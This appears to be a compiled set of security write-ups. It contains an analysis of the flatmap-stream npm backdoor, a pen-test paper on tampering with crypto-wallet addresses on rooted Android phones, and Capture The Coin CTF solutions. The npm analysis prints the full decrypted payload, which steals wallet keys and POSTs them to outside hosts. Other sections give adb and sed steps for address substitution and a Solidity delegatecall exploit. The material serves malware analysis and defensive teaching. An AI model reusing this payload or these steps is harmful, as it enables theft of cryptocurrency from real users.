*\["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","XXXXX","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]; - Full* [*here*](https://pastebin.com/bjibnPTV)

We will see an array named module.exports contains few components. Each components has it ows purposes.

And there is a piece of codes use those afore values . Use cat index.min.js to view the code.

```
var Stream = require("stream").Stream;
module.exports = function(e, n) {
    var i = new Stream,
        a = 0,
        o = 0,
        u = !1,
        f = !1,
        l = !1,
        c = 0,
        s = !1,
        d = (n = n || {}).failures ? "failure" : "error",
        m = {};

    function w(r, e) {
        var t = c + 1;
        if (e === t ? (void 0 !== r && i.emit.apply(i, ["data", r]), c++, t++) : m[e] = r, m.hasOwnProperty(t)) {
            var n = m[t];
            return delete m[t], w(n, t)
        }
        a === ++o && (f && (f = !1, i.emit("drain")), u && v())
    }

    function p(r, e, t) {
        l || (s = !0, r && !n.failures || w(e, t), r && i.emit.apply(i, [d, r]), s = !1)
    }

    function b(r, t, n) {
        return e.call(null, r, function(r, e) {
            n(r, e, t)
        })
    }

    function v(r) {
        if (u = !0, i.writable = !1, void 0 !== r) return w(r, a);
        a == o && (i.readable = !1, i.emit("end"), i.destroy())
    }
    return i.writable = !0, i.readable = !0, i.write = function(r) {
        if (u) throw new Error("flatmap stream is not writable");
        s = !1;
        try {
            for (var e in r) {
                a++;
                var t = b(r[e], a, p);
                if (f = !1 === t) break
            }
            return !f
        } catch (r) {
            if (s) throw r;
            return p(r), !f
        }
    }, i.end = function(r) {
        u || v(r)
    }, i.destroy = function() {
        u = l = !0, i.writable = i.readable = f = !1, process.nextTick(function() {
            i.emit("close")
        })
    }, i.pause = function() {
        f = !0
    }, i.resume = function() {
        f = !1
    }, i
};
! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();
root @inf - prod - eth7 - jp: /home/isysadmin / ibl - core - eth - insight - api / node_modules / flatmap - stream#
```

\
This guy was using code obfuscation to blind 2 millions download-ers. So what did he do?

In that messy code, just this function is used:

```
var r = require,
    t = process
function e(r) {
    return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
    o = t[e(n[3])][e(n[4])];
if (!o) return
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
    a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
}
catch (r) {}
}()

This object: data = r(e("2e2f746573742f64617461"))
```

after decoded from hex to string we have:

```
data=r(e("/test/data"))

[e(n[3]) = t[e(“656e76”)]=evn
[e(n[4]) = t[e(“6e706d5f7061636b6167655f6465736372697074696f6e”)]=npm_package_description
o=t[e(n[3])][e(n[4]) ~ o=t["env"]["npm_package_description"] = “A Secure Bitcoin Wallet”

```

And the rest of code after decoded is:

```
var decipher = require('crypto')['createDecipher']('aes256', o), decoded = decipher.update(data[0], 'hex', 'utf8');
```

So decrypt decipher we have a malicious code which is able to steal user’s information data and private key who owns *btc < 100 and bch>1e3*.

**Malicious code:**

```
/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();
```

<br>

## <br>


# Crypto Wallet Local Storage Attack

## **Background**

During our mobile security pen testing, we have found a very interesting attack scenario in (Android application). The attack can lead the user to unknown changes contents of their inheritance from the rooted device, for example, their crypto wallet address had been changed to the attacker’s address. This could lead to a security hazard because the user cannot double-check the long strings of the address placed in the wallet. Or another scenario is the attacker just need to change the favourite contact address to their own address, thus, every time the victim sends their money to their fellows whom already assigned in the contact list while their fellows’ address has already been changed to the victims’ address.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_ZXMyNc9Y1Fo02%2F0.png?generation=1558327408691204\&alt=media)

In this case, we have implemented the research on an Android phone (8.1). The crypto wallet application is “unknown”. We were trying to change the contact’s address and research further if we could also change the owner Etherium, Bitcoin and other crypto addresses. We realized that changing owners’ address is more dangerous than fixing contacts’ address because the owner usually does not care about their own address but re-checking recipients’ address is necessary. We all know that IOS device is much harder to jailbreak as well as the percentage of successful rooting it is quite low, it also takes time as well. For an Android device, it is much more straightforward and does not take a long time to make it root. Therefore, borrowing a friend’s phone in 2-3 hours, or even you lost your phone in during the time is really dangerous if you are using any crypto wallet. Why it’s too dangerous?

Ethereum addresses are composed of the prefix "0x", a common identifier for hexadecimal, concatenated with the rightmost 20 bytes of the Keccak-256 hash (big endian) of the ECDSA public key. In hexadecimal, 2 digits represent a byte, meaning addresses contain 40 hexadecimal digits. One example is 0xb794F5eA0ba39494cE839613fffBA74279579268 [\[1\]](https://en.wikipedia.org/wiki/Ethereum#Addresses)

Given an Ethereum address like afore example, *0xb794F5eA0ba39494cE839613*

*fffBA74279579268*. We probably need to learn it by heart to memorize, unlikely the normal users do not pay too much attention to memorizing their own address. The address created by the application that they trust. When the address gets changed, the user shows their QR code generated from the changed address (attacker’s address). Once the QR code has been scanned by other people, nothing can stop it.

This yellow paper will be writing up about the “legal experiments crypto wallet attack” during the research, indicating how dangerous if you lose your mobile phone that has a crypto wallet installed, and also describing the solutions in order to mitigate the attack by following the security best practice and our experience in the field.

*The paper is just for educational purpose only, we are not responsible for any loss or damage.*

## **Understanding Android File Structure**

Android provides several options for you to save your app data. The solution you choose depends on your specific needs, such as how much space your data requires, what kind of data you need to store, and whether the data should be private to your app or accessible to other apps and the user.

&#x20;This page introduces the different data storage options available on Android:

* *Internal file storage:* Store app-private files on the device file system.
* *External file storage:* Store files on the shared external file system. This is usually for shared user files, such as photos.
* *Shared preferences:* Store private primitive data in key-value pairs.
* *Databases:* Store structured data in a private database.

Except for some types of files on external storage, all these options are intended for app-private data—the data is not naturally accessible to other apps. If you want to share files with other apps, you should use the FileProvider API. [\[2\]](https://developer.android.com/guide/topics/data/data-storage)

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH__6UIAwurXNFi1%2F1.png?generation=1558327408701818\&alt=media)

By default, files saved to the internal storage are private to your app, and other apps cannot access them (nor can the user, unless they have root access). This makes internal storage a good place for internal app data that the user doesn't need to directly access. The system provides a private directory on the file system for each app where you can organize any files your app needs.

When the user uninstalls your app, the files saved on the internal storage are removed. Because of this behaviour, you should not use internal storage to save anything the user expects to persist independently of your app. For example, if your app allows users to capture photos, the user would expect that they can access those photos even after they uninstall your app. So you should instead save those types of files to the public external storage.[\[2\]](https://developer.android.com/guide/topics/data/data-storage)

This is an example of a data/data installed “unknown” package.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_awL6FN4yxHKnD%2F2.png?generation=1558327408715249\&alt=media)

## **Attacking Rooted Device**

Install a cyrpto wallet app names “unknown”. Open the app and create the new wallet, after creating it successfully, you will receive your Ethereum address as other crypto money such as BTC, EOS,..etc. As shown in the picture below, the ETH address is created along with its QR code. If you scan this QR by using another mobile phone, you will get the ETH address in the plain text. Regarding the QR code vulnerability, beware if you are using the open-source QR library. Unforeseen failures could happen at any time, a massive amount of money could lose if the QR code generates a wrong character, remember regardless of giving just “01” wrong character in the address, your money will go away!!!. Thus, making the best use of [EIP55](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md) that will truly help to ensure that the ETH address is generated properly.

So in this case, the QR is generated based on the ETH address given by the app. The QR code will be changed every time the address gets changed. Therefore, if the attacker can change your ETH address, your QR code will probably be made up to another one.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_bULmBOnYIWlLf%2F3.png?generation=1558327408721729\&alt=media)

The address is shown afore picture is the original ETH address created by the wallet. This is the original address aka intact one. Your friend now is named “attacker”, the attacker will borrow your phone for 2,3 hours, or whatever way to have your phone. Now they proceed to change your ETH address to their ETH address.

From now, they start shooting it. To change the address, they need to go to the sandbox area where normal users are restricted. Rooting device is the first step they are forced to do to reach that restricted area. *(I will not show you how to root an android device, google it!)*

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_cj1CxQfKrdxmN%2F4.png?generation=1558327408706740\&alt=media)

Enable entire needed modes to get ADB working, the attacker is able to dig into the data/data/unknown directory

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_dWEpNrGssD0-1%2F5.png?generation=1558327408730513\&alt=media)

There are 4 places the attacker might pay attention to which are *files*, *cache*, *databases*, *shared\_prefs.*

The attacker starts looking for the file where the ETH address resides, by using some grep command or other Linux command lines, the ETH address can be found straightforwardly. The data in sandbox are stored in many different ways, whether in plaintext in an xml file, a sqlite3 database with encryption/plaintext, binary file, ..etc. ([more](https://www.androidauthority.com/how-to-store-data-locally-in-android-app-717190/) detail). Therefore, it takes time to find the exact place where the owners’ address stored. For the example below, plaintext data is introduced.

Navigate to *shared\_prefs*

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_efynu-8E0nkEz%2F6.png?generation=1558327408689122\&alt=media)

Grep the ETH address to find its location and analyze it to assure that it derives from owner ETH address

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_fk466pYjtaOy9%2F7.png?generation=1558327408749058\&alt=media)

The data gives the attacker some consciousness by analyzing it. Given *btcAddress\&quot;:\&quot;1Mnp53qKYzhpwVez2JowRkW1tnNJJTSQ7N\&quot;* this could be meant BTC address is *1Mnp53qKYzhpwVez2JowRkW1tnNJJTSQ7N.* Similarly to others *eosAddress\&quot;:\&quot;EOS7kukYEfL5KrC8XcB46E8cxWeBP8ciQbt9qQq4G92fP9dhXX9ZH\&quot;,* Or *ethAddress\&quot;:\&quot;0xaC04fAc67fd509d2dCD380edb5A3B784ca03d9C2\&quot;*

Thus, the attacker just needs to change this address *0xaC04fAc67fd509d2dCD380edb5A3B784ca03d9C2* to their ETH address (ETH address is chosen for this research, they can change other crypto addresses as well)

Changing the data inside the sandbox is not efficient, this could break files system and lead to *“unknown wallet has stopped, send bug report to….”.* To avoid this, the attacker copies the file to *sdcard* where external storages are defined, then using ADB pull to pull it back to their own local computer and edit the file without any restrictions.

&#x20;`$ cp wallet_info_sp.xml /mnt/sdcard/`

On their local computer terminal

`$ adb pull /mnt/sdcard/wallet_info_sp.xml /home/attacker/unknown/`&#x20;

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_gTg0iV_3Z8AbI%2F8.png?generation=1558327408717202\&alt=media)

Now, the attacker is able to edit the file as they desire. Their objectives is to change their friends’ ETH address to their (attacker) address. The attackers’ address: *0x587Ecf600d304F831201c30ea0845118dD57516e*

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_hSuRjzn1prjSr%2F9.png?generation=1558327408744055\&alt=media)

The address has been changed, he/she just needs to push it back to *sdcard* then copy it to *shared\_prefs.*

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_iVM8FgbpJKM12%2F10.png?generation=1558327408731640\&alt=media)

`$ cp /mnt/sdcard/wallet_info_sp.xml /data/data/unknown/shared_prefs`

To ensure the app will run as expected, the *wallet\_info\_sp.xml* file permissions are set correctly as well as the owner, groups,..etc. Otherwise, the application will stop and the error will pop up.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_jHXVsRB4tI_ed%2F11.png?generation=1558327408732934\&alt=media)

Open the app after editing the ETH address successfully, the attacker ETH address has been replaced.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_kj5wAYcTjnKNT%2F12.png?generation=1558327408809711\&alt=media)

The attacker uses another QR code reader application to verify if the QR code on the wallet has been changed along with its address.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_l2hJc8RGr-QSL%2F13.jpeg?generation=1558327408764710\&alt=media)

And it matches!

For other examples, storing the address in a database or binary file is often used. But it is not sufficient to prevent the attack regardless of storing them in a database. Two cases will be shown and describing how the attacker exploit them.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_maaGP-IWPRRUi%2F14.png?generation=1558327408817551\&alt=media)

The picture above shows the data is written in binary format saved in *default.realm*.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_ntrbEDVj1Muwp%2F15.png?generation=1558327408712074\&alt=media)

Use the “strings” command to read the data in plaintext.

&#x20;The attacker is able to grep the ETH address by combining with strings

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_onkPxB8mvM2Ol%2F16.png?generation=1558327408690108\&alt=media)

Again, in order to be able to edit the file. The attacker needs to repeat the steps of copying the file to */mnt/sdcard/*, then pull them back to the local computer. The ETH address is still the main target *0x69759fed0a72cc…..*

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_pEQNHXfIbMEYq%2F17.png?generation=1558327408719191\&alt=media)

The attacker cannot change the data in plaintext by using any text editors because the binary file does not allow to do, or even if any possbility, the file would be broken down. They use “hexdump” command. Hexdump is a command-line tool used to show the raw bytes of a file in various ways including hexadecimal, available on Linux, FreeBDS, OS X, and other platforms.[\[3\]](https://en.wikibooks.org/wiki/Hexdump)

`$ hexdump -C default.realm | less`

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_qzYwzJWPJFena%2F18.png?generation=1558327408749434\&alt=media)

By using the hexdump command, the attacker is now able to determine the ETH address written in binary. The original ETH address is 0*x69759fed0a72cc6ed5 79352f2da517c1fdfbce4d* . The attacker tries to change from 0*x69759f to* 0*x69789a* (the actual attack will surely change the entire address). But in this case, the example describes how to make a change (not fully attack).

From the afore picture, *0x69759f* is “*30 78 36 39 37 35 39 66”* in binary. Thus, 0*x69789a* is *“30 78 36 39 37 38 39 61”. (38 → 8, 61 → a)*

`$ sed -i "s/\x30\x78\x36\x39\x37\x35\x39\x66/\x30\x78\x36\x39\x37\x38\x39\x61/g" default.realm`

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2Fenders-pub%2F-LfIWf4x537xtT7AhwnS%2F-LfIYH_rmVb5c-XMcEWr%2F19.png?generation=1558327408729017\&alt=media)

The address gets changed, the attacker just needs to push it back to the previous place in the sandbox where the ETH address assigned.

In conclusion, there are many ways, may scenarios the attacker can exploit the local storage to find out where the address stored in, internal or external enclaves. Changing friends’ contact address is a quintessential example. Abusing the trust between the owner and the application, additionally the long string of crypto addresses, it’s linked to the fact the the typical users never pay attention to their own address, especially when they show their QR code to others.

## **Protection**

To be honest, we still do not know what is the best method to prevent or mitigate this kind of attack, we are still working on it. Give your phone away at friends’ home or you lose your phone accidentally, for these situations, setting the passcode for your phone is not fully protective because many other phones are rooted easily without prompting the passcode.

If you are crypto-wallet developers, I highly recommend you to put owners’ address onto the database with encryption by combining owners’ password. Moreover, I’ve seen many secure wallet applications, the owners’ address is created every time the “receive” function called. Which means if the attacker had changed the owners’ address,the next time the owner navigates to the “receive” function, the adddress gets generated again to replacing the attackers’ address, this happens when they use database-sqlite3.

For friends’ contact address attack. This is much more difficult to prevent because it’s independent data, meaning it does not belong to the app or be generated by the application. Encryption might work in this case, by combining sqlite3 and users’ password could be helpful to prevent the change. Again, we are still working on this, thus if you think of other solutions, please navigate to <enderlocphan@gmail.com> to have further discussion and make our wallet safer.


# Capture The Coin Writeup

https\://capturethecoin.org/

## Result

My team: Kubertu stayed at top #6

My personal work stayed at top #10

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LoJkKHuSn4W6m62wjXb%2F-LoJk__6cTVeCqYyZ3v1%2FCTFd_scoreboard_2019-09-06T10_04_25.png?alt=media\&token=b9f7a2f7-239c-4285-bd52-2dc21636d1cf)

Our prize&#x20;

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LvxAofoKEnU4Cz66RqO%2F-LvxIFhbW1O5vR2cwBde%2F79263375_484457595525310_8928898191298920448_n.jpg?alt=media\&token=b1e4e77a-59b8-43a7-8650-b98545d8c2d6)

## Hide and Seek (200 Point)

Question:

{% hint style="info" %}
We found a mnemonic for a wallet with a note saying there is a hidden transaction:

```
play fever bullet unlock error palm insect pottery tower torch memory liquid
```

Can you find the exact amount transferred on the BTC Testnet network?Once you're strong enough, save the world:
{% endhint %}

Problems:

* This seed is generated from BIP-44
* We need to find exact amount transferred ?! I was confused as well. So, as I understood one mnemonic gives thousand of addresses. In order to find the exact address has transferred the money, the fastest way to do is automate things.

Methods:

1. Use this online generator to get a list of addresses derived from BIP-44 <https://iancoleman.io/bip39/>
2. Later, we have a list of BIP-44 addresses
3. Write a automatic script by using blockcypher API

```
#!/bin/bash


input="from101.txt"
while IFS= read -r line
do
	curl -s https://api.blockcypher.com/v1/btc/test3/addrs/$line | grep -w "balance" | cut -d ":" -f 2| cut -d "," -f 1 && echo $line
	sleep 5	
done < "$input"

```

&#x20;   4\. The first address has `1000000 n2cceZi8jjMxTtmP7oVzX2ADt4jL6qcdhQ` but it's not a right one

&#x20;   5\. Keep on scanning, we found `179362 mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd` . Seemly, this account has a balance. Let's check them out on blockchain explorer. <https://www.blockchain.com/btctest/address/mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd><br>

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LoJkKHuSn4W6m62wjXb%2F-LoJpVdz3OQdknsQl5Ym%2Fimage.png?alt=media\&token=b72f89ef-ede0-4e7b-bd21-26ac9512a692)

&#x20;   6\. Total Received **0.00179362** BTC

## Evil Droid (300 Point)

Question:

{% hint style="info" %}
Someone sent us an Android malware sample saying that it stole all their BTC coins. Can you extract the evil address where all the money is sent?

<https://drive.google.com/file/d/19AkEBgguBdzpRcdYWFC_ArAGVd8Sbylg/view?usp=sharing>
{% endhint %}

Problems:

* Is the evil address hard-coded?
* Is the evil address called from arbitrary servers?
* Is the evil address is hidden somewhere at the first created?

Analyze:

**Is the evil address called from arbitrary servers?**

Download the apk file and install it on an android phone. By using Burp Suite we can tamper its requests and see what's it calling in and out. Nothing found!

**Is the evil address hard-coded?**

Download the apk file and using `dex2jar` to decompress the file to java file, then drag them onto the `jdgui` to have a pretty human-reading format.&#x20;

After hours of reading the code. I've found:

* it uses Kotlin
* It will target those Android phones which are installed `com.madeup.wallet.app"`
* Then using `regex` to find the victim address
* The evil address is encrypted and **write** them to **log** :D&#x20;

```
protected void onCreate(@Nullable Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296284);
    Log.d("asdf", Encryption.decryptMsg(new byte[] { -92, 12, 23, 115, 84, 48, -125, -66, 40, 59, 105, 63, 19, 29, -93, -67, 92, 119, 69, -62, 127, 35, 114, 85, 117, -5, -34, -94, -73, -97, 41, -78, 59, 13, -116, -103, -51, 53, -112, 25, -30, -76, 109, -52, -114, 118, -80, 0 }));
  }
```

**Answer:**

1. Connect the phone to the PC
2. Run `adb logcat | grep "asdf"`
3. Open the app
4. &#x20;&#x20;

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LoO4CcDtsel6PAeRO8Q%2F-LoO4MDcotsMnQjZvMGd%2Flogcat.png?alt=media\&token=978ce4ef-0218-45f3-a453-de8991f0d7c6)

## Tricky Ether (500 point)

Question:

Can you cause the ethereum contract below to self destruct?

```
pragma solidity ^0.5.10;

contract Jackpot {
    
    address public owner;
    
    constructor() public payable {
        owner = msg.sender;
    }
    
    function destroyme() public {
        require(msg.sender == owner);
        selfdestruct(msg.sender);
    }

    function hackme(address _address) public {
        _address.delegatecall("0x12345678");
    }
}
```

Cause the contract at [0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8](https://ropsten.etherscan.io/address/0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8) to selfdestruct itself.

Problems:

* Contract using `selfdestruct`
* Contract using `delegatecall`
* To execute the function `selfdestruct` we have to become an owner
* `delegatecall` is calling to an arbitrary number/address ??!!

Answer:

Paraphrased from the [solidity docs](http://solidity.readthedocs.io/en/develop/introduction-to-smart-contracts.html?highlight=delegatecall#delegatecall-callcode-and-libraries):

> “Delegatecall is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and `msg.sender` and `msg.value` do not change their values.
>
> This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.”

This low-level function has been very useful as it’s the backbone for implementing Libraries and modularizing code. However it opens up the doors to vulnerabilities as essentially your contract is allowing anyone to do whatever they want with their state.

Thanks to this drawback of `delegatecall`. I created an attack smart contract

```
pragma solidity ^0.5.10;

contract Jackpot {
    
    address public owner;
    
    constructor() public payable {
        owner = msg.sender;
    }
    
    function destroyme() public {
        require(msg.sender == owner);
        selfdestruct(msg.sender);
    }

    function hackme(address _address) public {
        _address.delegatecall("0x12345678");
    }
}

contract Checker {
    address public owner;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function()
        external
        payable
    {
        owner = msg.sender;
    }
}
```

\
1\. Add address [0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8](https://ropsten.etherscan.io/address/0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8) to Jackpot smart contract.

2\. Deploy Checker smart contract which has `fallback function.`

3\. Add our smart contract address to function `hackerme` .  The `delegatecall` will call our smart contract with an arbitrary function which also means it will trigger the fallback function. Bravo! we soon will become the owner of Jackpot smart contract.

4\. We become an owner

5\. Execute `destroyme()` function (I had to increase gas limit to 300000).

6\. The contract is killed.

## Linkable Payments (300)

{% hint style="info" %}
Your goal is to recognize a flaw in a particular implementation of a digital currency client, that utilizes CryptoNote key/transaction model, and use it to get the tracking key of the node running this client. Setup

The node that you are targeting is misconfigured; it's error log is publicly accessible via a RPC endpoint. What is relevant for this challenge are log entries created by the function that checks every transaction that passes through the node.

You construct and broadcast a series of invalid transactions. These transactions are recored in txs.json . Many other fields that would be present in a real transaction are omitted for brevity.

Althought the broadcasted transactions are invalid, with this particular node you can see error messages mentioning these transactions appearing in the node's aforementioned error log. These log entries are recorded in err\_log.json.

Using this information, find the tracking key of the node owner. This tracking key is the flag for the challenge. The flag must be submitted in hex format. Technical details

```
Read section 4.3 of CryptoNote v2.0 whitepaper to understand how a node is supposed to process transactions To simplify the challenge a little, the destination key is P=rA and P'=aR. Then, the tracking key is not the pair (a, B), but just a (a single 160-bit hexadecimal number). B would be known to us anyway in a real-world scenario, and is irrelevant for this challenge, since it's not used in the key calculation.

The elliptic curve used by the digital currency in this challenge is brainpoolP160r1. It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point. Both coordinates are left-padded with zeros when needed, so that the resulting number of hexadecimal digits is always 40 for each coordinate. These two numbers are then concatenated together and prefixed with 0x. Thus the total length of a serialized ECC point is 82 characters.
```

Appendix

